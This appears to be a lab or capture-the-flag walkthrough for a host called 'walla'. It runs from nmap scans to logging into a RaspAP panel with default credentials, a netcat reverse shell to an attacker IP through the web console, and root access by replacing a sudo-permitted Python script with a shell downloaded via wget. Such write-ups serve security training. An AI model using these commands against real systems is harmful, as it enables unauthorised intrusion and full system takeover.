Nmap

PORT   STATE SERVICE    VERSION
22/tcp open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 02:71:5d:c8:b9:43:ba:6a:c8:ed:15:c5:6c:b2:f5:f9 (RSA)
|   256 f3:e5:10:d4:16:a9:9e:03:47:38:ba:ac:18:24:53:28 (ECDSA)
|_  256 02:4f:99:ec:85:6d:79:43:88:b2:b5:7c:f0:91:fe:74 (ED25519)
23/tcp open  telnet     Linux telnetd
25/tcp open  smtp       Postfix smtpd
| ssl-cert: Subject: commonName=walla
| Subject Alternative Name: DNS:walla
| Issuer: commonName=walla
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-17T18:26:36
| Not valid after:  2030-09-15T18:26:36
| MD5:     097c bda1 76ab 9b73 c8ef 68ab 84e9 a055
| SHA-1:   6c4b fee3 0bd6 d910 2ef9 f81a 3a41 72d8 31bd baac
|_SHA-256: ea72 ac55 6826 8056 f0b8 1aa5 c491 f700 9df3 a728 05fc 41f5 7025 6087 9d1c 46c1
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: walla, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open  tcpwrapped
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Uptime guess: 40.332 days (since Tue Jul  7 07:57:11 2026)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host:  walla; OS: Linux; CPE: cpe:/o:linux:linux_kernel
PORT      STATE SERVICE
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
422/tcp   open  ariel3
8091/tcp  open  jamlink
42042/tcp open  unknown
PORT      STATE SERVICE VERSION
422/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 02:71:5d:c8:b9:43:ba:6a:c8:ed:15:c5:6c:b2:f5:f9 (RSA)
|   256 f3:e5:10:d4:16:a9:9e:03:47:38:ba:ac:18:24:53:28 (ECDSA)
|_  256 02:4f:99:ec:85:6d:79:43:88:b2:b5:7c:f0:91:fe:74 (ED25519)
8091/tcp  open  http    lighttpd 1.4.53
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: B5F9F8F2263315029AD7A81420E6CC2D
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: lighttpd/1.4.53
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
42042/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 02:71:5d:c8:b9:43:ba:6a:c8:ed:15:c5:6c:b2:f5:f9 (RSA)
|   256 f3:e5:10:d4:16:a9:9e:03:47:38:ba:ac:18:24:53:28 (ECDSA)
|_  256 02:4f:99:ec:85:6d:79:43:88:b2:b5:7c:f0:91:fe:74 (ED25519)

Enumeration

This is the part we’re concerned with (for some reason the RaspAP part of the nmap results did not appear on my original -A scan)

8091/tcp  open  http    lighttpd 1.4.53
|_http-server-header: lighttpd/1.4.53
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=RaspAP

Port 8091 takes us to an HTTP basic auth popup in a browser.
We can search for default creds for RaspAP.

admin:secret and we’re in.

Exploitation

There is a console on the web page.

Set up a listener on 8091:

nc 192.168.45.229 8091 -e /bin/bash

Privilege Escalation

Once we have a reverse shell, we can check sudo -l

www-data@walla:/home/walter$ sudo -l
Matching Defaults entries for www-data on walla:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on walla:
    (ALL) NOPASSWD: /sbin/ifup
    (ALL) NOPASSWD: /usr/bin/python /home/walter/wifi_reset.py
    (ALL) NOPASSWD: /bin/systemctl start hostapd.service
    (ALL) NOPASSWD: /bin/systemctl stop hostapd.service
    (ALL) NOPASSWD: /bin/systemctl start dnsmasq.service
    (ALL) NOPASSWD: /bin/systemctl stop dnsmasq.service
    (ALL) NOPASSWD: /bin/systemctl restart dnsmasq.service

The python script sticks out. We check and can’t write to that file, but we could remove the file and replace it with a shell.

We make the shell on our attacker machine and transfer it to the target:

www-data@walla:/home/walter$ wget http://192.168.45.229/wifi_reset.py
--2026-08-16 12:32:09--  http://192.168.45.229/wifi_reset.py
Connecting to 192.168.45.229:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 31 [text/x-python]
Saving to: ‘wifi_reset.py.1’

wifi_reset.py.1     100%[===================>]      31  --.-KB/s    in 0s      

2026-08-16 12:32:10 (9.12 MB/s) - ‘wifi_reset.py.1’ saved [31/31]

www-data@walla:/home/walter$ rm wifi_reset.py
rm: remove write-protected regular file 'wifi_reset.py'? y
www-data@walla:/home/walter$ ls
local.txt  wifi_reset.py.1
www-data@walla:/home/walter$ mv wifi_reset.py.1 wifi_reset.py
www-data@walla:/home/walter$ sudo /usr/bin/python /home/walter/wifi_reset.py 
# whoami
root
# cd /root
# ls
proof.txt
# cat proof.txt

Done.